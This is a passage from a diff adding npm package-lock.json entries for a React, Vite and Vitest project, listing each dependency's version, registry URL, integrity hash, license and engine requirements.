+        "node": "20 || >=22"
+      }
+    },
+    "node_modules/jsesc": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",
+      "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==",
+      "license": "MIT",
+      "bin": {
+        "jsesc": "bin/jsesc"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/json5": {
+      "version": "2.2.3",
+      "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
+      "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==",
+      "license": "MIT",
+      "bin": {
+        "json5": "lib/cli.js"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/lru-cache": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
+      "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
+      "license": "ISC",
+      "dependencies": {
+        "yallist": "^3.0.2"
+      }
+    },
+    "node_modules/lz-string": {
+      "version": "1.5.0",
+      "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.5.0.tgz",
+      "integrity": "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true,
+      "bin": {
+        "lz-string": "bin/bin.js"
+      }
+    },
+    "node_modules/magic-string": {
+      "version": "0.30.21",
+      "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz",
+      "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@jridgewell/sourcemap-codec": "^1.5.5"
+      }
+    },
+    "node_modules/mdn-data": {
+      "version": "2.27.1",
+      "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.27.1.tgz",
+      "integrity": "sha512-9Yubnt3e8A0OKwxYSXyhLymGW4sCufcLG6VdiDdUGVkPhpqLxlvP5vl1983gQjJl3tqbrM731mjaZaP68AgosQ==",
+      "dev": true,
+      "license": "CC0-1.0"
+    },
+    "node_modules/min-indent": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz",
+      "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/ms": {
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+      "license": "MIT"
+    },
+    "node_modules/nanoid": {
+      "version": "3.3.16",
+      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.16.tgz",
+      "integrity": "sha512-bzlKTyNJ7+LdGIIwy8ijFpIqEQIvafahV7eYykJ8Cvh42EdJeODoJ6gUJXpQJvej1BddH8OqTXZNE/KfbWAu8Q==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "MIT",
+      "bin": {
+        "nanoid": "bin/nanoid.cjs"
+      },
+      "engines": {
+        "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
+      }
+    },
+    "node_modules/node-releases": {
+      "version": "2.0.50",
+      "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.50.tgz",
+      "integrity": "sha512-J6l92tKHX6w8Jy5nO1Vuc01NoIiRGi/d6qBKVxh+IQ8Cr3b6HbVNfKiF8ZpFKufTwpwxMmce2W3iQZ861ZRyTg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/obug": {
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/obug/-/obug-2.1.3.tgz",
+      "integrity": "sha512-9miFgM2OFba7hB+pRgvtV84pYTBaoTHohvmIgiRt6dRIzbwEOIaNaP+dIlGs2fNFoB0SeISs0Jz5WFVRid6Xyg==",
+      "dev": true,
+      "funding": [
+        "https://github.com/sponsors/sxzz",
+        "https://opencollective.com/debug"
+      ],
+      "license": "MIT",
+      "engines": {
+        "node": ">=12.20.0"
+      }
+    },
+    "node_modules/parse5": {
+      "version": "8.0.1",
+      "resolved": "https://registry.npmjs.org/parse5/-/parse5-8.0.1.tgz",
+      "integrity": "sha512-z1e/HMG90obSGeidlli3hj7cbocou0/wa5HacvI3ASx34PecNjNQeaHNo5WIZpWofN9kgkqV1q5YvXe3F0FoPw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "entities": "^8.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/inikulin/parse5?sponsor=1"
+      }
+    },
+    "node_modules/pathe": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz",
+      "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/picocolors": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
+      "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",
+      "license": "ISC"
+    },
+    "node_modules/picomatch": {
+      "version": "4.0.5",
+      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.5.tgz",
+      "integrity": "sha512-RvwwcruNjI1ncT5xRakeyS9Lf8lcItv34KD+aif+VH9kduAyfYBipGh12274xtenIPZ119/R9BdTBa8gAwSh0A==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/jonschlinkert"
+      }
+    },
+    "node_modules/postcss": {
+      "version": "8.5.23",
+      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.23.tgz",
+      "integrity": "sha512-g50586zr4bZmwFiTlflMu8E0bDTb5I5gertgwAKmsdUlTQIhZtunzUlD1WSzwcVWPoAVpsrA6vlfCD7oXvRwgg==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/postcss/"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/postcss"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "nanoid": "^3.3.16",
+        "picocolors": "^1.1.1",
+        "source-map-js": "^1.2.1"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14"
+      }
+    },
+    "node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true,
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/punycode": {
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
+      "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/react": {
+      "version": "19.2.0",
+      "resolved": "https://registry.npmjs.org/react/-/react-19.2.0.tgz",
+      "integrity": "sha512-tmbWg6W31tQLeB5cdIBOicJDJRR2KzXsV7uSK9iNfLWQ5bIZfxuPEHp7M8wiHyHnn0DD1i7w3Zmin0FtkrwoCQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/react-dom": {
+      "version": "19.2.0",
+      "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.0.tgz",
+      "integrity": "sha512-UlbRu4cAiGaIewkPyiRGJk0imDN2T3JjieT6spoL2UeSf5od4n5LB/mQ4ejmxhCFT1tYe8IvaFulzynWovsEFQ==",
+      "license": "MIT",
+      "dependencies": {
+        "scheduler": "^0.27.0"
+      },
+      "peerDependencies": {
+        "react": "^19.2.0"
+      }
+    },
+    "node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true
+    },
+    "node_modules/react-refresh": {
+      "version": "0.17.0",
+      "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz",
+      "integrity": "sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/redent": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz",
+      "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "indent-string": "^4.0.0",
+        "strip-indent": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/require-from-string": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
+      "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/rollup": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.62.2.tgz",
+      "integrity": "sha512-RFnrW4lhXA3s3eqHDZvN654g8OTjzRfqpIRJYczCGB6HzphckVAi/Qh4tbPUbRuDi7s1Llv8g/NspLkttY3gTA==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/estree": "1.0.9"
+      },
+      "bin": {
+        "rollup": "dist/bin/rollup"
+      },
+      "engines": {
+        "node": ">=18.0.0",
+        "npm": ">=8.0.0"
+      },
+      "optionalDependencies": {
+        "@rollup/rollup-android-arm-eabi": "4.62.2",
+        "@rollup/rollup-android-arm64": "4.62.2",
+        "@rollup/rollup-darwin-arm64": "4.62.2",
+        "@rollup/rollup-darwin-x64": "4.62.2",
+        "@rollup/rollup-freebsd-arm64": "4.62.2",
+        "@rollup/rollup-freebsd-x64": "4.62.2",
+        "@rollup/rollup-linux-arm-gnueabihf": "4.62.2",
+        "@rollup/rollup-linux-arm-musleabihf": "4.62.2",
+        "@rollup/rollup-linux-arm64-gnu": "4.62.2",
+        "@rollup/rollup-linux-arm64-musl": "4.62.2",
+        "@rollup/rollup-linux-loong64-gnu": "4.62.2",
+        "@rollup/rollup-linux-loong64-musl": "4.62.2",
+        "@rollup/rollup-linux-ppc64-gnu": "4.62.2",
+        "@rollup/rollup-linux-ppc64-musl": "4.62.2",
+        "@rollup/rollup-linux-riscv64-gnu": "4.62.2",
+        "@rollup/rollup-linux-riscv64-musl": "4.62.2",
+        "@rollup/rollup-linux-s390x-gnu": "4.62.2",
+        "@rollup/rollup-linux-x64-gnu": "4.62.2",
+        "@rollup/rollup-linux-x64-musl": "4.62.2",
+        "@rollup/rollup-openbsd-x64": "4.62.2",
+        "@rollup/rollup-openharmony-arm64": "4.62.2",
+        "@rollup/rollup-win32-arm64-msvc": "4.62.2",
+        "@rollup/rollup-win32-ia32-msvc": "4.62.2",
+        "@rollup/rollup-win32-x64-gnu": "4.62.2",
+        "@rollup/rollup-win32-x64-msvc": "4.62.2",
+        "fsevents": "~2.3.2"
+      }
+    },
+    "node_modules/saxes": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz",
+      "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "xmlchars": "^2.2.0"
+      },
+      "engines": {
+        "node": ">=v12.22.7"
+      }
+    },
+    "node_modules/scheduler": {
+      "version": "0.27.0",
+      "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz",
+      "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==",
+      "license": "MIT"
+    },
+    "node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "license": "ISC",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/siginfo": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz",
+      "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==",
+      "dev": true,
+      "license": "ISC"
+    },
+    "node_modules/source-map-js": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
+      "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==",
+      "license": "BSD-3-Clause",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/stackback": {
+      "version": "0.0.2",
+      "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz",
+      "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/std-env": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.2.0.tgz",
+      "integrity": "sha512-oCUKSupKTHX53EyjDtuZQ64pjLJ6yYCtpmEw0goYxtjG9KpbRe8KAsl2tBUGU9DyMcJ0RwJ8GqJAFzMXcXW1Rw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/strip-indent": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
+      "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "min-indent": "^1.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/symbol-tree": {
+      "version": "3.2.4",
+      "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
+      "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/tinybench": {
+      "version": "2.9.0",
+      "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz",
+      "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/tinyexec": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.2.4.tgz",
+      "integrity": "sha512-SHf/r48b7vOrjve9PxJo3MN5v5yuyjHvdUcrQffT3WXMUfnGmHDVbC4k3sHJaJTgZCwpUplIaAo5ANtMyp3YHg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/tinyglobby": {
+      "version": "0.2.17",
+      "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz",
+      "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==",
+      "license": "MIT",
+      "dependencies": {
+        "fdir": "^6.5.0",
+        "picomatch": "^4.0.4"
+      },
+      "engines": {
+        "node": ">=12.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/SuperchupuDev"
+      }
+    },
+    "node_modules/tinyrainbow": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.1.0.tgz",
+      "integrity": "sha512-Bf+ILmBgretUrdJxzXM0SgXLZ3XfiaUuOj/IKQHuTXip+05Xn+uyEYdVg0kYDipTBcLrCVyUzAPz7QmArb0mmw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=14.0.0"
+      }
+    },
+    "node_modules/tldts": {
+      "version": "7.4.3",
+      "resolved": "https://registry.npmjs.org/tldts/-/tldts-7.4.3.tgz",
+      "integrity": "sha512-A3BDQBeeukYPzB4QdQ1DtdlUmp4x2OCH8n5UVhEWbyANxNep8GavottKzd1xYKFJKjUgMyPT7EzOfnBO55s8Sg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "tldts-core": "^7.4.3"
+      },
+      "bin": {
+        "tldts": "bin/cli.js"
+      }
+    },
+    "node_modules/tldts-core": {
+      "version": "7.4.3",
+      "resolved": "https://registry.npmjs.org/tldts-core/-/tldts-core-7.4.3.tgz",
+      "integrity": "sha512-27ep5H9PzdBrNd5OFM/j3WCU8F3kPwM9D0BOaOf7uYfxMJfyr0K5Tjj69Gri+sZlh2WXd5buIm47NuPF29CDiw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/tough-cookie": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-6.0.1.tgz",
+      "integrity": "sha512-LktZQb3IeoUWB9lqR5EWTHgW/VTITCXg4D21M+lvybRVdylLrRMnqaIONLVb5mav8vM19m44HIcGq4qASeu2Qw==",
+      "dev": true,
+      "license": "BSD-3-Clause",
+      "dependencies": {
+        "tldts": "^7.0.5"
+      },
+      "engines": {
+        "node": ">=16"
+      }
+    },
+    "node_modules/tr46": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/tr46/-/tr46-6.0.0.tgz",
+      "integrity": "sha512-bLVMLPtstlZ4iMQHpFHTR7GAGj2jxi8Dg0s2h2MafAE4uSWF98FC/3MomU51iQAMf8/qDUbKWf5GxuvvVcXEhw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "punycode": "^2.3.1"
+      },
+      "engines": {
+        "node": ">=20"
+      }
+    },
+    "node_modules/typescript": {
+      "version": "5.9.3",
+      "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",
+      "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "bin": {
+        "tsc": "bin/tsc",
+        "tsserver": "bin/tsserver"
+      },
+      "engines": {
+        "node": ">=14.17"
+      }
+    },
+    "node_modules/uncrypto": {
+      "version": "0.1.3",
+      "resolved": "https://registry.npmjs.org/uncrypto/-/uncrypto-0.1.3.tgz",
+      "integrity": "sha512-Ql87qFHB3s/De2ClA9e0gsnS6zXG27SkTiSJwjCc9MebbfapQfuPzumMIUMi38ezPZVNFcHI9sUIepeQfw8J8Q==",
+      "license": "MIT"
+    },
+    "node_modules/undici": {
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/undici/-/undici-7.28.0.tgz",
+      "integrity": "sha512-cRZYrTDwWznlnRiPjggAGxZXanty6M8RV1ff8Wm4LWXBp7/IG8v5DnOm74DtUBp9OONpK75YlPnIjQqX0dBDtA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=20.18.1"
+      }
+    },
+    "node_modules/update-browserslist-db": {
+      "version": "1.2.3",
+      "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz",
+      "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/browserslist"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/browserslist"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "escalade": "^3.2.0",
+        "picocolors": "^1.1.1"
+      },
+      "bin": {
+        "update-browserslist-db": "cli.js"
+      },
+      "peerDependencies": {
+        "browserslist": ">= 4.21.0"
+      }
+    },
+    "node_modules/use-sync-external-store": {
+      "version": "1.6.0",
+      "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz",
+      "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==",
+      "license": "MIT",
+      "peerDependencies": {
+        "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
+      }
+    },
+    "node_modules/vite": {
+      "version": "6.4.3",
+      "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.3.tgz",
+      "integrity": "sha512-NTKlcQjlAK7MlQoyb6LgaqHc8sso/pVyUJYWMws3jg21uTJw/LddqIFPcPqP6PzpgbIcZyKI85sFE4HBrQDA8A==",
+      "license": "MIT",
+      "dependencies": {
+        "esbuild": "^0.25.0",
+        "fdir": "^6.4.4",
+        "picomatch": "^4.0.2",
+        "postcss": "^8.5.3",
+        "rollup": "^4.34.9",
+        "tinyglobby": "^0.2.13"
+      },
+      "bin": {
+        "vite": "bin/vite.js"
+      },
+      "engines": {
+        "node": "^18.0.0 || ^20.0.0 || >=22.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/vitejs/vite?sponsor=1"
+      },
+      "optionalDependencies": {
+        "fsevents": "~2.3.3"
+      },
+      "peerDependencies": {
+        "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0",
+        "jiti": ">=1.21.0",
+        "less": "*",
+        "lightningcss": "^1.21.0",
+        "sass": "*",
+        "sass-embedded": "*",
+        "stylus": "*",
+        "sugarss": "*",
+        "terser": "^5.16.0",
+        "tsx": "^4.8.1",
+        "yaml": "^2.4.2"
+      },
+      "peerDependenciesMeta": {
+        "@types/node": {
+          "optional": true
+        },
+        "jiti": {
+          "optional": true
+        },
+        "less": {
+          "optional": true
+        },
+        "lightningcss": {
+          "optional": true
+        },
+        "sass": {
+          "optional": true
+        },
+        "sass-embedded": {
+          "optional": true
+        },
+        "stylus": {
+          "optional": true
+        },
+        "sugarss": {
+          "optional": true
+        },
+        "terser": {
+          "optional": true
+        },
+        "tsx": {
+          "optional": true
+        },
+        "yaml": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/vitest": {
+      "version": "4.1.10",
+      "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.10.tgz",
+      "integrity": "sha512-R9jUTe5S4Qb0HCd4TNqpC7oGcrMssMRGXLW80ubjWsW9VH5GF8y1Y0SFLY9AbqSk6nt0PnOx4H4WNJYZ13GUPw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@vitest/expect": "4.1.10",
+        "@vitest/mocker": "4.1.10",
+        "@vitest/pretty-format": "4.1.10",
+        "@vitest/runner": "4.1.10",
+        "@vitest/snapshot": "4.1.10",
+        "@vitest/spy": "4.1.10",
+        "@vitest/utils": "4.1.10",
+        "es-module-lexer": "^2.0.0",
+        "expect-type": "^1.3.0",
+        "magic-string": "^0.30.21",
+        "obug": "^2.1.1",
+        "pathe": "^2.0.3",
+        "picomatch": "^4.0.3",
+        "std-env": "^4.0.0-rc.1",
+        "tinybench": "^2.9.0",
+        "tinyexec": "^1.0.2",
+        "tinyglobby": "^0.2.15",
+        "tinyrainbow": "^3.1.0",
+        "vite": "^6.0.0 || ^7.0.0 || ^8.0.0",
+        "why-is-node-running": "^2.3.0"
+      },
+      "bin": {
+        "vitest": "vitest.mjs"
+      },
+      "engines": {
+        "node": "^20.0.0 || ^22.0.0 || >=24.0.0"
+      },
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      },
+      "peerDependencies": {
+        "@edge-runtime/vm": "*",
+        "@opentelemetry/api": "^1.9.0",
+        "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0",
+        "@vitest/browser-playwright": "4.1.10",
+        "@vitest/browser-preview": "4.1.10",
+        "@vitest/browser-webdriverio": "4.1.10",
+        "@vitest/coverage-istanbul": "4.1.10",
+        "@vitest/coverage-v8": "4.1.10",
+        "@vitest/ui": "4.1.10",
+        "happy-dom": "*",
+        "jsdom": "*",
+        "vite": "^6.0.0 || ^7.0.0 || ^8.0.0"
+      },
+      "peerDependenciesMeta": {
+        "@edge-runtime/vm": {
+          "optional": true
+        },
+        "@opentelemetry/api": {
+          "optional": true
+        },
+        "@types/node": {
+          "optional": true
+        },
+        "@vitest/browser-playwright": {
+          "optional": true
+        },
+        "@vitest/browser-preview": {
+          "optional": true
+        },
+        "@vitest/browser-webdriverio": {
+          "optional": true
+        },
+        "@vitest/coverage-istanbul": {
+          "optional": true
+        },
+        "@vitest/coverage-v8": {
+          "optional": true
+        },
+        "@vitest/ui": {
+          "optional": true
+        },
+        "happy-dom": {
+          "optional": true
+        },
+        "jsdom": {
+          "optional": true
+        },
+        "vite": {
+          "optional": false
+        }
+      }
+    },
+    "node_modules/w3c-xmlserializer": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz",
+      "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "xml-name-validator": "^5.0.0"
+      },
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/webidl-conversions": {
+      "version": "8.0.1",
+      "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-8.0.1.tgz",
+      "integrity": "sha512-BMhLD/Sw+GbJC21C/UgyaZX41nPt8bUTg+jWyDeg7e7YN4xOM05YPSIXceACnXVtqyEw/LMClUQMtMZ+PGGpqQ==",
+      "dev": true,
+      "license": "BSD-2-Clause",
+      "engines": {
+        "node": ">=20"
+      }
+    },
+    "node_modules/whatwg-mimetype": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-5.0.0.tgz",
+      "integrity": "sha512-sXcNcHOC51uPGF0P/D4NVtrkjSU2fNsm9iog4ZvZJsL3rjoDAzXZhkm2MWt1y+PUdggKAYVoMAIYcs78wJ51Cw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=20"
+      }
+    },
+    "node_modules/whatwg-url": {
+      "version": "16.0.1",
+      "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-16.0.1.tgz",
+      "integrity": "sha512-1to4zXBxmXHV3IiSSEInrreIlu02vUOvrhxJJH5vcxYTBDAx51cqZiKdyTxlecdKNSjj8EcxGBxNf6Vg+945gw==",
+      "dev": true,
